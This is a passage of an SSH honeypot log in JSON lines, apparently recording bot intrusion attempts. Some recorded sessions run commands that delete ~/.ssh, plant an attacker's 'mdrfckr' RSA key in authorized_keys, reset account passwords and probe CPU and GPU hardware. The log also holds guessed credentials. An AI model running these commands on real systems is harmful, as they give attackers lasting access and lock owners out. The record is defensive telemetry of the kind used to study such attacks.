{"id":"83a15aba-fae7-4f01-ad0e-6b02ab3b0275","name":"golden-tangled-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":47332,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:42:24.083698+00:00","ended_at":"2026-08-27T12:42:25.649003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0d988d4d-6b4b-4fd7-8f21-6afa1f7d5580","name":"genial-oaken-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59820,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:42:20.925356+00:00","ended_at":"2026-08-27T12:42:21.696181+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a9c6065a-7d90-421a-99fa-0bbe9f749ef8","name":"quartz-amiable-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":47322,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:42:20.515413+00:00","ended_at":"2026-08-27T12:42:21.434017+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T12:42:20.515935+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:42:21.036905+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"Xc123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f4860720-8539-4369-98ff-eb82b8ab6f9d","name":"gritty-murky-finch","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":63534,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:42:19.834044+00:00","ended_at":"2026-08-27T12:42:27.989496+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"e5395ac7-0e12-44bb-8c91-9c0cd150699a","name":"amber-jagged-caribou","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59818,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:42:18.177053+00:00","ended_at":"2026-08-27T12:42:20.042059+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"620f9d87-abf7-409c-8e49-4ac4e633c6cd","name":"jaunty-wistful-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47640,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":289,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:57.495597+00:00","ended_at":"2026-08-27T12:41:59.208027+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:41:40.531028+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:40.818622+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:44.164816+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:45.061197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:45.352880+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:45.642185+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:45.932793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:46.744417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:47.034123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:48.150267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:48.443631+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:49.428569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:49.719104+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:50.434817+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:50.724061+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:51.285430+00:00","kind":"output","latency_ms":null,"data":" 12:41:51 up 7 days, 9:31, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:51.576077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:51.877464+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:52.165943+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:52.502512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:52.792092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:53.274763+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:53 up 7 days, 9:32, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:41:53.563224+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:53.931635+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:54.220440+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:54.746047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:55.035359+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:55.795919+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:41:56.082320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:57.208159+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:57.496462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:59.124721+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"c574abd1-bd65-4620-886b-60c576ef5dea","name":"indigo-distant-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41254,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:52.190247+00:00","ended_at":"2026-08-27T12:41:54.311017+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:41:33.631011+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:33.958520+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:37.480737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:38.336333+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:38.665172+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:38.990197+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:39.318035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:39.832104+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:40.157718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:41.519899+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:41.851653+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:43.296217+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:43.625014+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:44.400011+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:44.727695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:45.137803+00:00","kind":"output","latency_ms":null,"data":" 12:41:45 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:45.469049+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:46.237624+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:46.571185+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:46.875387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:47.201667+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:47.885124+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:47 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:41:48.213251+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:49.007826+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:49.336349+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:49.997926+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:50.326682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:50.579311+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:41:50.906841+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:51.865620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:52.191046+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:54.213889+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"ed08a284-20c7-4472-897a-7dd2b295f3aa","name":"boreal-blithe-loris","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47658,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:42.760371+00:00","ended_at":"2026-08-27T12:41:44.081358+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3f6eb3d5-2d6c-444f-84c8-6129feec7ab6","name":"frosty-golden-sloth","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47652,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:41.483474+00:00","ended_at":"2026-08-27T12:41:42.163313+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3272b6bc-0705-4e42-888d-64ba584273d2","name":"shifting-cunning-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41262,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:36.483426+00:00","ended_at":"2026-08-27T12:41:37.382280+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"uno50","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"73542e21-e36a-4256-b3f3-ab42eeec345a","name":"tender-rambling-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41256,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:34.741630+00:00","ended_at":"2026-08-27T12:41:35.830248+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6458a2a9-bc78-4089-b95b-ba1107cfbc08","name":"northern-mellow-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":51396,"username":"codex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":199,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:40:48.431805+00:00","ended_at":"2026-08-27T12:40:48.532310+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:40:46.566568+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:40:47.232278+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:40:47.432274+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:40:47.434353+00:00","kind":"output","latency_ms":null,"data":" 12:40:47 up 7 days, 9:30, 0 user, load average: 0.21, 0.27, 0.18"},{"seq":5,"at":"2026-08-27T12:40:47.633232+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:40:47.634181+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:40:47.833536+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:40:47.834120+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:40:48.032902+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:40:48.033561+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:40:48.231931+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:40:48.232999+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:40:48.432743+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:40:48.433451+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"codex","password":"codex","method":"password","accepted":true,"tier":"other"}]} {"id":"355e851e-b9d3-416e-b759-5ab909a942b8","name":"gilded-vernal-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59782,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:40:00.259470+00:00","ended_at":"2026-08-27T12:40:01.293761+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:39:38.205909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:38.657841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:44.039748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:44.645105+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:45.094567+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nNIRx7t1KY04n\\nNIRx7t1KY04n\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:45.539853+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nNIRx7t1KY04n\\nNIRx7t1KY04n\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:45.982874+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:46.245845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:46.694027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:47.754432+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:48.202338+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:49.268016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:49.715487+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:50.518643+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:50.980165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:51.809171+00:00","kind":"output","latency_ms":null,"data":" 12:39:51 up 7 days, 9:29, 0 user, load average: 0.27, 0.2, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:52.255618+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:53.041752+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:53.491168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:54.001057+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:54.448171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:55.299100+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:55 up 7 days, 9:30, 0 user, load average: 0.27, 0.2, 0.18\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:55.748255+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:56.553522+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:56.999558+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:57.262132+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:57.708692+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:58.048576+00:00","kind":"output","latency_ms":null,"data":"vpnuser"},{"seq":29,"at":"2026-08-27T12:39:58.500136+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:59.811477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:40:00.260828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:40:01.155080+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpnuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"0df86da6-776d-413b-9b44-d14ed647b27c","name":"woven-solemn-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46220,"username":"harsh","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:58.780008+00:00","ended_at":"2026-08-27T12:39:59.943418+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:39:29.494369+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 